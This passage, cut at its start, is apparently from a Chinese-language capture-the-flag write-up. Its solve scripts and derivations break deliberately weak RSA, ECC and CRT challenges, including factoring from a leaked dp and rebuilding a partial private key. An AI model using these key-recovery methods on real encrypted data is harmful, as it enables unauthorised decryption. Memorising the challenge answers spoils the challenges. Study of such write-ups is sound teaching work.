if c % d != 0:
return 0
c = (c % n2 + n2) % n2
c = c // d
n1 = n1 // d
n2 = n2 // d
c *= gmpy2.invert(n1, n2)
c %= n2
c *= n1 * d
c += a1
global n3
global a3
n3 = n1 * n2 * d
a3 = (c % n3 + n3) % n3
return 1

def exCRT(a, n):
a1 = a[0]
n1 = n[0]
le = len(a)
for i in range(1, le):
a2 = a[i]
n2 = n[i]
if not merge(a1, n1, a2, n2):
return -1
a1 = a3
n1 = n3
global mod
mod = n1
return (a1 % n1 + n1) % n1

ms = [
207867980504656835313307696396607264603,
245036212212570610987366430554968489325,
270836744824069537438646110613439698666,
319275775495422875474878625752594133023,
254268823435329877199449670714528712873,
213093607196415232366564484229844568444,
246921085368773491003187313772615702950,
]
cs = [
150031581047390726903711035932621949276,
21260202376534810598778595491323328519,
144049733622518360270048059408969512643,
236920143187836025924037873968303507493,
99781504248790469459151935530031893836,
69236016568483424294966410179787943383,
20613188366058016717435734248097940419,
]

x = exCRT(cs, ms)
flag = hashlib.sha256(str(x).encode()).hexdigest()
while "6a651" not in flag:
x = x + mod
# print(x)
flag = hashlib.sha256(str(x).encode()).hexdigest()
# print(type(flag))
print(flag)

ecc

https://dexterjie.github.io/2023/07/25/非对称加密/ECC/

py
# sage
from Crypto.Util.number import *
p = 93202687891394085633786409619308940289806301885603002539703165565954917915237
a = 93822086754590882682502837744000915992590989006575416134628106376590825652793
b = 80546187587527518012258369984400999843218609481640396827119274116524742672463
k = 58946963503925758614502522844777257459612909354227999110879446485128547020161
E = EllipticCurve(GF(p),[a,b])
c1 = E([40485287784577105052142632380297282223290388901294496494726004092953216846111 , 81688798450940847410572480357702533480504451191937977779652402489509511335169])
c2 = E([51588540344302003527882762117190244240363885481651104291377049503085003152858 , 77333747801859674540077067783932976850711668089918703995609977466893496793359])
cipher_left = 34210996654599605871773958201517275601830496965429751344560373676881990711573
cipher_right = 62166121351090454316858010748966403510891793374784456622783974987056684617905


m = c1 - k * c2

flag1 = cipher_left//m[0]
flag2 = cipher_right//m[1]
print(flag1,flag2)
print(long_to_bytes(int(flag1))+long_to_bytes(int(flag2)))

dp

py
import gmpy2
import libnum

c = 127916287434936224964530288403657504450134210781148845328357237956681373722556447001247137686758965891751380034827824922625307521221598031789165449134994998397717982461775225812413476283147124013667777578827293691666320739053915493782515447112364470583788127477537555786778672970196314874316507098162498135060
n = 157667866005866043809675592336288962106125998780791920007920833145068421861029354497045918471672956655205541928071253023208751202980457919399456984628429198438149779785543371372206661553180051432786094530268099696823142821724314197245158942206348670703497441629288741715352106143317909146546420870645633338871
e = 65537
dp = 2509050304161548479367108202753097217949816106531036020623500808413533337006939302155166063392071003278307018323129989037561756887882853296553118973548769

for i in range(1, 65537):
p = (dp * e - 1) // i + 1
if n % p == 0:
q = n // p
break

print(q)
phi_n = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi_n)
m = pow(c, d, n)
print(m)
flag = libnum.n2s(int(m)).decode()
print(flag)

inPEM(复现)

给了公钥和私钥的部分,直接手撕,注意删掉私钥第一个w

py
from Crypto.Util.number import *
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
import base64

c = open("key.enc", "rb").read()
# c = b64decode(c)
c = bytes_to_long(c)
print("c =", c)

file = "public.pem"
with open(file, "rb") as f:
key = RSA.importKey(f.read())
n = key.n
e = key.e
print("n =", n)
print("e =", e)

data = """ZyyAzKowuDD1R48UelUskEv0W8AXLOHR4nni
2uqP/7tlAPCJrMVD8zoRsRviyUnqO6y7cV7G0Fo1AoGBALpb6vOC9Ya/BEYV8+yL
814K0KQc7LITkwqGrDWoDZAxmgWqVtoxHuhDWr5jF+ttFZBPx4fTezTEjarXXSt3
pB1c7EwnzO0Hy9qJH++g2dcCUCO8uGXBbAACZqCQZAAydSrM5zozWAYMBWcj54j0
LtyOEg4PWPXiTzJ//xxWaH+xAoGBAKFGRIyYD89JvlZA6oz7YnjzsnDlTq01td32
XAuw62dZQHWmg1npC3YtzFlgTyNY2QelObmryyc2vFnxVhTYcDXFLQwrX8X5YV4A
rFAAlyzxpNzYPzDHrdqLD6PhMU+wRuHVPyAtNBsL0N+mgQcsWJJvngSTHg86kJOl
HlNuLBGhAoGAFiG3VR+lubcPvXOVAvkt+c8rF6qcmXlb2Og0hNwDJ2roX98aqOVy
p5AWGPoA1siI4/RPIp1ClfEwKMjraun1ZJs/jKemaQk2hdhWkQ+6QinvUJbA1Lqm
TcRmKa1emY/U6I8ce6N69e7ver1DV4I/ugSahJlZT/JRyF5qj1uVZ/k="""
tb = base64.b64decode(data)
print(tb.hex())
"""
672c80ccaa30b830f5478f147a552c904bf45bc0172ce1d1e279e2daea8fffbb6500f089acc543f33a11b11be2c949ea3bacbb715ec6d05a35
028181
00ba5beaf382f586bf044615f3ec8bf35e0ad0a41cecb213930a86ac35a80d90319a05aa56da311ee8435abe6317eb6d15904fc787d37b34c48daad75d2b77a41d5cec4c27cced07cbda891fefa0d9d7025023bcb865c16c000266a090640032752acce73a3358060c056723e788f42edc8e120e0f58f5e24f327fff1c56687fb1 # 即dp=d%(p-1)
028181
00a146448c980fcf49be5640ea8cfb6278f3b270e54ead35b5ddf65c0bb0eb67594075a68359e90b762dcc59604f2358d907a539b9abcb2736bc59f15614d87035c52d0c2b5fc5f9615e00ac5000972cf1a4dcd83f30c7adda8b0fa3e1314fb046e1d53f202d341b0bd0dfa681072c58926f9e04931e0f3a9093a51e536e2c11a1 # 即dq=d%(q-1)
028180
1621b7551fa5b9b70fbd739502f92df9cf2b17aa9c99795bd8e83484dc03276ae85fdf1aa8e572a7901618fa00d6c888e3f44f229d4295f13028c8eb6ae9f5649b3f8ca7a669093685d856910fba4229ef5096c0d4baa64dc46629ad5e998fd4e88f1c7ba37af5eeef7abd4357823fba049a8499594ff251c85e6a8f5b9567f9 # 即cf=(inverse of q) mod p
"""
dp = 0x00BA5BEAF382F586BF044615F3EC8BF35E0AD0A41CECB213930A86AC35A80D90319A05AA56DA311EE8435ABE6317EB6D15904FC787D37B34C48DAAD75D2B77A41D5CEC4C27CCED07CBDA891FEFA0D9D7025023BCB865C16C000266A090640032752ACCE73A3358060C056723E788F42EDC8E120E0F58F5E24F327FFF1C56687FB1
dq = 0x00A146448C980FCF49BE5640EA8CFB6278F3B270E54EAD35B5DDF65C0BB0EB67594075A68359E90B762DCC59604F2358D907A539B9ABCB2736BC59F15614D87035C52D0C2B5FC5F9615E00AC5000972CF1A4DCD83F30C7ADDA8B0FA3E1314FB046E1D53F202D341B0BD0DFA681072C58926F9E04931E0F3A9093A51E536E2C11A1

import libnum

p = libnum.gcd(pow(6, dq * e, n) - 6, n)
print(p)
q = n // p
print(n == p * q)
m = pow(c, dq, q)
phi = (p - 1) * (q - 1)
d = libnum.invmod(e, phi)
m = pow(c, d, n)
flag = libnum.n2s(m)
print(flag)

rsa_components = (n, e, d, p, q)
myrsa = RSA.construct(rsa_components)

private = open("private1.pem", "wb")
private.write(myrsa.exportKey())
private.close()
# openssl rsautl -decrypt -inkey private1.pem -in key.enc

Math(复现)

逆向出来的源码大概如下:

py
from Crypto.Util.number import *
import gmpy2

input_str = ""
m = int(input_str, 16)
p = getPrime(512)
q = getPrime(512)
e = getPrime(32)
n = p * q
c = pow(m, e, n)
"""
c = 0x639cd472630afb1aa9f5490b4f3de3b4701eef5c61aad06345f9e001021340cf989fc082693f745716bd39d015793e62be08913dcb82b2b6c8ed56d15a4cc230a60ea185d593a858b47276c403c79b6da23b561b200295a8addba7a48660d17a9eef322e430b939aecc4ca0c0f4fcc003524cdca68b7be935962f4b4ad8cafd5
"""

# Challenge1 求p
p1 = getPrime(512)
q1 = getPrime(512)
n1 = p1 * q1
c1 = pow(p, 39847, n1)
aa = 2023 * p1 + 2024
hint1 = pow(aa, q1, n1)
"""
n1 = 0x11df715605906c9cfc906faf4d02a380b9489fe890952cfbc7713af87031b61a4a3a0e2c46ba89ef462a3a77def7d5de0a0a10b3d1303afc06ed7bc9f07e01e9883b06ce17c290fe550844cf9028f50642e4190ccb13cdf0bb0493e437c54ee17643202cc1b35741208957eb6c1843299b4480e6d32a311de6fd6f4b9d9e8fab
c1= 0x5a768e8e3e4efe51f566d77dd9a1312f5398bc9e1fa4e828be6a3b6aa6109de02c4eec524e23bf0836b7b25f534a429744e980bdc3acd77a8133c543ea1cf4f4665fbd46bc21d38edd60a687007e079980cac97e1099610aeceee3bff13483396a4cfb061df7d5bce9c7fba6ae14fbead5f56aa990f23ee9cbe8a8fc066d5fa
hint1= 0xc3fd84beeb2363d414848fda5898976625bcbb9637982f83853a6c96e64c8ec94645409b7036e3b187ecf930e294fc448c4ac6bfa9945078300b1619bc98d13275770f562874c7fd389ba9ef4e05019633566e65ba95e5a30e29a45b79774c6aaed89aa43105508e868941c81861120f50fe182e33b80701e1714205759f380
"""

# Challenge2 求q
p2 = getPrime(512)
q2 = getPrime(512)
n2 = p2 * q2
c2 = pow(q, 44021, n2)

bb = p2 * 2023 + q2 * 2024
hint2 = pow(bb, 2323, n2)
cc = p2 * 2024 + q2 * 2023
hint3 = pow(cc, 2424, n2)
"""
n2 = 0x3cc006e0dea07f834418109ac8c1a447258c7da01223107fd255303613ce9ffc3faa74823a28ea1e211a34c349f20b49bb00447777e4d7f5139219e62fb993562f7e705e0919ccbc414956e8a6cc3e01812ca6eb10558060fe0f7c06da63e5d6169ea5790e86f3e2e804d399d1429529d3031738f134e619a0decce12bde4cd
c2 = 0x2de5d5191bf279ba3ea338bd4390a18d0233da9e050b3aa2644a9427eff787b4d74aa3c7dc348f214247997ae32fb86428935e61234f9ef63e9b562c40b6b07c9133cad4672c9aa7f515d3f7d067b6187d30e4346c4afeceae031c3116ccf97acaddb2af42d459c61ce0df7b56ce1e0ba15cf28aed5415615aa9398fb494e5b
hint2 = 0x2dd30b086f1c8fa7860ed5cde1e02a062e8722ae9823579f764d5da86ec250b2dfee6934463a06b133d791c3cfbe5f88a43bfae7f25cfb3efb61c10aa710aa76e2229241986fb16f1ae34a867cb7ba641d5637b70a92027479e9c18d1372059a4e04a7298c5b279fa6d84abc1b466b29bba8a1a2ea9e8ad568c14af17c4f50e
hint3 = 0x35751402de3cb0f6481451a7b3665b3ddd15c9f0ad07398c4ee35c01ff926dd2545dc41d591fca58b485e3cd114d7c0a67196f95fcebc9391f10c89ded2b1ef3e5014ab8fe5ea33e2afb1cd9af7d84fca17e56e759b136578c29f679a64f0e2060492eee268af2304f7c689ece60a941ba8100dd0d2af1a45499afd10cf9eaa
"""

# Challenge3 求e
base = 0x488D156B0CBEF000F1BF6C47006A3595
myord = 0x9C5AB7C1CC9A4F60B1D53AFAFD7016D00E811E5A1C6FB258C75A246A0630A75644100828E21757DE1D9A5FF99EBD05257AA9D895C1DE40A2EB619FA52F32B38ACB52669841D528351DF863137B0A14F4AFF6506CF0C7CDF1801C2BD3D7FB4E583811F4F771F7E5C0E5F42A85839AFFED38DF8B913FA6A4E782ADC028E5E86162F
a = pow(base, e, myord)
"""
a =0xc028af32e59098f182059e09d4463c34a71b5db98d0d538305102ce68cda72f6897606fd8d933b51633e63c63be59cc3454e8d04d287eda3535f21a8c9496f9e5b62edc81eb971d55b9ecc20b4d6671709e73af110d1bef9413e9786032d268fd7d243d01ccbdbeb0757e5a5affbc976e83f85bde685618d592fe23d754919a2"
"""

先求e{e}。可以发现myord-1是一个由多个小素数组成,即为光滑数。可用DLP Pohlig-Hellman求出离散对数

py
# sage
a = 0xc028af32e59098f182059e09d4463c34a71b5db98d0d538305102ce68cda72f6897606fd8d933b51633e63c63be59cc3454e8d04d287eda3535f21a8c9496f9e5b62edc81eb971d55b9ecc20b4d6671709e73af110d1bef9413e9786032d268fd7d243d01ccbdbeb0757e5a5affbc976e83f85bde685618d592fe23d754919a2


def r(h, g, N, p, qi):
# N : p-1
# qi: N中的素因子
Zp = Zmod(p)
h = pow(h, N // qi, p)
g = pow(g, N // qi, p)
ri = discrete_log(Zp(h), Zp(g))
return int(ri)


# a = base ^ x (mod myord)
base = 96436963965527068665018503742725174677
myord = 1756732319378271983655460958536265633132714124613745489204050716607593076120290066696183637688559620200527260763663370378413505765181372017758141178797150102620052790909049114335428548638439804985346548923394837529069398274110266205521499271733197384646112456211369819887858630437075169226364135089414464738863
factors = [
10529,
65777,
344417,
503777,
549247,
730447,
859927,
860113,
927233,
1034233,
] # myord-1=2 * 10529 * 65777^2 * 344417 * 503777 * 549247^4 * 730447^3 * 859927^2 * 860113^3 * 927233^5 * 1034233^5 * 8210213835010098187641073710320295311398472587668756884856051781525126902256646181559044298514514409082539533321235574592460391649123614566600595458616129
r_list = []
for qi in factors:
tmp = r(a, base, myord - 1, myord, qi)
r_list.append(tmp)
x = crt(r_list, factors)
module = 1
for i in factors:
module *= i
while True:
if int(pow(base, x, myord)) == a:
print("e =", x)
break
x += module

p{p}利用费马小定理求解

h(ap+b)qmodnh=(ap+b)q+knh \equiv (ap+b)^q \mod{n} \\ h = (ap+b)^q + kn

两边同时模上p{p}

h mod p=(ap+b)q mod p+kn mod ph mod p=bq mod ph+k2p=bqk2p=bqhh \ \mathrm {mod} \ p=(ap+b)^{q} \ \mathrm {mod} \ p+kn \ \mathrm {mod} \ p \\ h \ \mathrm {mod} \ p=b^{q} \ \mathrm {mod} \ p \\ h+k_2p=b^q \\ k_2p=b^q-h

所以p=gcd(bqh,n)p=gcd(b^q-h,n),但还需要推导q{q}

q=n(p1)qh mod p=bn(p1)q mod ph mod p=bn mod p×(bp1)q mod pq=n-(p-1)q \\ h \ \mathrm {mod} \ p=b^{n-(p-1)q} \ \mathrm {mod} \ p \\ h \ \mathrm {mod} \ p=b^{n} \ \mathrm {mod} \ p \times (b^{p-1})^{-q} \ \mathrm {mod} \ p \\

根据费马小定理,假如a{a}是一个整数,p{p}是一个质数,a{a}不为p{p}的倍数,则有

ap1modp=1a^{p-1} \mod{p}=1

所以

hmodpbnmodph+k3p=bnk3p=bnhh \mod p \equiv b^n \mod{p} \\ h+k_3p=b^n \\ k_3p=b^n-h

综上,p=gcd((bnh),n)=gcd(bn mod nh,n)p=gcd((b^n-h),n)=gcd(b^n \ \mathrm {mod} \ n-h,n)(因为bn{b^n}比较大,所以模n之后再进行计算,结果相同)

py
from Crypto.Util.number import *
import gmpy2

n1 = 0x11DF715605906C9CFC906FAF4D02A380B9489FE890952CFBC7713AF87031B61A4A3A0E2C46BA89EF462A3A77DEF7D5DE0A0A10B3D1303AFC06ED7BC9F07E01E9883B06CE17C290FE550844CF9028F50642E4190CCB13CDF0BB0493E437C54EE17643202CC1B35741208957EB6C1843299B4480E6D32A311DE6FD6F4B9D9E8FAB
c1 = 0x5A768E8E3E4EFE51F566D77DD9A1312F5398BC9E1FA4E828BE6A3B6AA6109DE02C4EEC524E23BF0836B7B25F534A429744E980BDC3ACD77A8133C543EA1CF4F4665FBD46BC21D38EDD60A687007E079980CAC97E1099610AECEEE3BFF13483396A4CFB061DF7D5BCE9C7FBA6AE14FBEAD5F56AA990F23EE9CBE8A8FC066D5FA
hint1 = 0xC3FD84BEEB2363D414848FDA5898976625BCBB9637982F83853A6C96E64C8EC94645409B7036E3B187ECF930E294FC448C4AC6BFA9945078300B1619BC98D13275770F562874C7FD389BA9EF4E05019633566E65BA95E5A30E29A45B79774C6AAED89AA43105508E868941C81861120F50FE182E33B80701E1714205759F380
b = 2024
p1 = gmpy2.gcd(pow(b, n1, n1) - hint1, n1)
q1 = n1 // p1
assert p1 * q1 == n1
phi1 = (p1 - 1) * (q1 - 1)
e1 = 39847
d1 = inverse(e1, phi1)
p = pow(c1, d1, n1)
print("p=", p)
assert isPrime(p)

最后是求q{q}

h2=(2023×p2+2024×q2)2323modn2h2=(2023×p2)2323+(2024×q2)2323modn2h2×20232323=(2023×2023×p2)2323+(2023×2024×q2)2323modn2式①:(h2×20232323)2424=(2023×2023×p2)2323×2424+(2023×2024×q2)2323×2424modn2h3=(2024×p2+2023×q2)2424modn2h3=(2024×p2)2424+(2023×q2)2424modn2h3×20242424=(2024×2024×p2)2424+(2023×2024×q2)2424modn2式②:(h3×20242424)2323=(2024×2024×p2)2323×2424+(2023×2024×q2)2323×2424modn2最后将式②式①得:(h3×20242424)2323(h2×20232323)2424=k×p2modn2h2 = (2023 \times p2+2024 \times q2)^{2323}\mod{n2} \\ h2 = (2023 \times p2)^{2323}+(2024 \times q2)^{2323}\mod{n2} \\ h2 \times 2023^{2323} = (2023 \times 2023 \times p2)^{2323} + (2023 \times 2024 \times q2)^{2323} \mod {n2} \\ 式①: (h2 \times 2023^{2323})^{2424} = (2023 \times 2023 \times p2)^{2323 \times 2424} + (2023 \times 2024 \times q2)^{2323 \times 2424} \mod{n2} \\ h3 = (2024 \times p2+2023 \times q2)^{2424}\mod{n2} \\ h3 = (2024 \times p2)^{2424}+(2023 \times q2)^{2424}\mod{n2} \\ h3 \times 2024^{2424} = (2024 \times 2024 \times p2)^{2424} + (2023 \times 2024 \times q2)^{2424} \mod {n2} \\ 式②: (h3 \times 2024^{2424})^{2323} = (2024 \times 2024 \times p2)^{2323 \times 2424} + (2023 \times 2024 \times q2)^{2323 \times 2424} \mod {n2} \\ 最后将式②-式①得: \\ (h3 \times 2024^{2424})^{2323} - (h2 \times 2023^{2323})^{2424} = k \times p2 \mod{n2}

py
n2 = 0x3CC006E0DEA07F834418109AC8C1A447258C7DA01223107FD255303613CE9FFC3FAA74823A28EA1E211A34C349F20B49BB00447777E4D7F5139219E62FB993562F7E705E0919CCBC414956E8A6CC3E01812CA6EB10558060FE0F7C06DA63E5D6169EA5790E86F3E2E804D399D1429529D3031738F134E619A0DECCE12BDE4CD
c2 = 0x2DE5D5191BF279BA3EA338BD4390A18D0233DA9E050B3AA2644A9427EFF787B4D74AA3C7DC348F214247997AE32FB86428935E61234F9EF63E9B562C40B6B07C9133CAD4672C9AA7F515D3F7D067B6187D30E4346C4AFECEAE031C3116CCF97ACADDB2AF42D459C61CE0DF7B56CE1E0BA15CF28AED5415615AA9398FB494E5B
hint2 = 0x2DD30B086F1C8FA7860ED5CDE1E02A062E8722AE9823579F764D5DA86EC250B2DFEE6934463A06B133D791C3CFBE5F88A43BFAE7F25CFB3EFB61C10AA710AA76E2229241986FB16F1AE34A867CB7BA641D5637B70A92027479E9C18D1372059A4E04A7298C5B279FA6D84ABC1B466B29BBA8A1A2EA9E8AD568C14AF17C4F50E
hint3 = 0x35751402DE3CB0F6481451A7B3665B3DDD15C9F0AD07398C4EE35C01FF926DD2545DC41D591FCA58B485E3CD114D7C0A67196F95FCEBC9391F10C89DED2B1EF3E5014AB8FE5EA33E2AFB1CD9AF7D84FCA17E56E759B136578C29F679A64F0E2060492EEE268AF2304F7C689ECE60A941BA8100DD0D2AF1A45499AFD10CF9EAA
A = pow(pow(2024, 2424, n2) * hint3, 2323, n2)
B = pow(pow(2023, 2323, n2) * hint2, 2424, n2)
p2 = gmpy2.gcd(A - B, n2)
print(p2)
q2 = n2 // p2
assert p2 * q2 == n2
phi2 = (p2 - 1) * (q2 - 1)
e2 = 44021
d2 = inverse(e2, phi2)
q = pow(c2, d2, n2)
print("q=", q)
assert isPrime(q)

合起来解RSA拿到flag

py
"""
# sage
a = 0xC028AF32E59098F182059E09D4463C34A71B5DB98D0D538305102CE68CDA72F6897606FD8D933B51633E63C63BE59CC3454E8D04D287EDA3535F21A8C9496F9E5B62EDC81EB971D55B9ECC20B4D6671709E73AF110D1BEF9413E9786032D268FD7D243D01CCBDBEB0757E5A5AFFBC976E83F85BDE685618D592FE23D754919A2


def r(h, g, N, p, qi):
# N : p-1
# qi: N中的素因子
Zp = Zmod(p)
h = pow(h, N // qi, p)
g = pow(g, N // qi, p)
ri = discrete_log(Zp(h), Zp(g))
return int(ri)


# a = base ^ x (mod myord)
base = 96436963965527068665018503742725174677
myord = 1756732319378271983655460958536265633132714124613745489204050716607593076120290066696183637688559620200527260763663370378413505765181372017758141178797150102620052790909049114335428548638439804985346548923394837529069398274110266205521499271733197384646112456211369819887858630437075169226364135089414464738863
factors = [
10529,
65777,
344417,
503777,
549247,
730447,
859927,
860113,
927233,
1034233,
] # myord-1=2 * 10529 * 65777^2 * 344417 * 503777 * 549247^4 * 730447^3 * 859927^2 * 860113^3 * 927233^5 * 1034233^5 * 8210213835010098187641073710320295311398472587668756884856051781525126902256646181559044298514514409082539533321235574592460391649123614566600595458616129
r_list = []
for qi in factors:
tmp = r(a, base, myord - 1, myord, qi)
r_list.append(tmp)
x = crt(r_list, factors)
module = 1
for i in factors:
module *= i
while True:
if int(pow(base, x, myord)) == a:
print("e =", x)
break
x += module
"""

e = 3035716141
from Crypto.Util.number import *
import gmpy2

n1 = 0x11DF715605906C9CFC906FAF4D02A380B9489FE890952CFBC7713AF87031B61A4A3A0E2C46BA89EF462A3A77DEF7D5DE0A0A10B3D1303AFC06ED7BC9F07E01E9883B06CE17C290FE550844CF9028F50642E4190CCB13CDF0BB0493E437C54EE17643202CC1B35741208957EB6C1843299B4480E6D32A311DE6FD6F4B9D9E8FAB
c1 = 0x5A768E8E3E4EFE51F566D77DD9A1312F5398BC9E1FA4E828BE6A3B6AA6109DE02C4EEC524E23BF0836B7B25F534A429744E980BDC3ACD77A8133C543EA1CF4F4665FBD46BC21D38EDD60A687007E079980CAC97E1099610AECEEE3BFF13483396A4CFB061DF7D5BCE9C7FBA6AE14FBEAD5F56AA990F23EE9CBE8A8FC066D5FA
hint1 = 0xC3FD84BEEB2363D414848FDA5898976625BCBB9637982F83853A6C96E64C8EC94645409B7036E3B187ECF930E294FC448C4AC6BFA9945078300B1619BC98D13275770F562874C7FD389BA9EF4E05019633566E65BA95E5A30E29A45B79774C6AAED89AA43105508E868941C81861120F50FE182E33B80701E1714205759F380
b = 2024
p1 = gmpy2.gcd(pow(b, n1, n1) - hint1, n1)
q1 = n1 // p1
assert p1 * q1 == n1
phi1 = (p1 - 1) * (q1 - 1)
e1 = 39847
d1 = inverse(e1, phi1)
p = pow(c1, d1, n1)
print("p=", p)
assert isPrime(p)
n2 = 0x3CC006E0DEA07F834418109AC8C1A447258C7DA01223107FD255303613CE9FFC3FAA74823A28EA1E211A34C349F20B49BB00447777E4D7F5139219E62FB993562F7E705E0919CCBC414956E8A6CC3E01812CA6EB10558060FE0F7C06DA63E5D6169EA5790E86F3E2E804D399D1429529D3031738F134E619A0DECCE12BDE4CD
c2 = 0x2DE5D5191BF279BA3EA338BD4390A18D0233DA9E050B3AA2644A9427EFF787B4D74AA3C7DC348F214247997AE32FB86428935E61234F9EF63E9B562C40B6B07C9133CAD4672C9AA7F515D3F7D067B6187D30E4346C4AFECEAE031C3116CCF97ACADDB2AF42D459C61CE0DF7B56CE1E0BA15CF28AED5415615AA9398FB494E5B
hint2 = 0x2DD30B086F1C8FA7860ED5CDE1E02A062E8722AE9823579F764D5DA86EC250B2DFEE6934463A06B133D791C3CFBE5F88A43BFAE7F25CFB3EFB61C10AA710AA76E2229241986FB16F1AE34A867CB7BA641D5637B70A92027479E9C18D1372059A4E04A7298C5B279FA6D84ABC1B466B29BBA8A1A2EA9E8AD568C14AF17C4F50E
hint3 = 0x35751402DE3CB0F6481451A7B3665B3DDD15C9F0AD07398C4EE35C01FF926DD2545DC41D591FCA58B485E3CD114D7C0A67196F95FCEBC9391F10C89DED2B1EF3E5014AB8FE5EA33E2AFB1CD9AF7D84FCA17E56E759B136578C29F679A64F0E2060492EEE268AF2304F7C689ECE60A941BA8100DD0D2AF1A45499AFD10CF9EAA
A = pow(pow(2024, 2424, n2) * hint3, 2323, n2)
B = pow(pow(2023, 2323, n2) * hint2, 2424, n2)
p2 = gmpy2.gcd(A - B, n2)
print(p2)
q2 = n2 // p2
assert p2 * q2 == n2
phi2 = (p2 - 1) * (q2 - 1)
e2 = 44021
d2 = inverse(e2, phi2)
q = pow(c2, d2, n2)
print("q=", q)
assert isPrime(q)
c = 0x639CD472630AFB1AA9F5490B4F3DE3B4701EEF5C61AAD06345F9E001021340CF989FC082693F745716BD39D015793E62BE08913DCB82B2B6C8ED56D15A4CC230A60EA185D593A858B47276C403C79B6DA23B561B200295A8ADDBA7A48660D17A9EEF322E430B939AECC4CA0C0F4FCC003524CDCA68B7BE935962F4B4AD8CAFD5
n = p * q
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))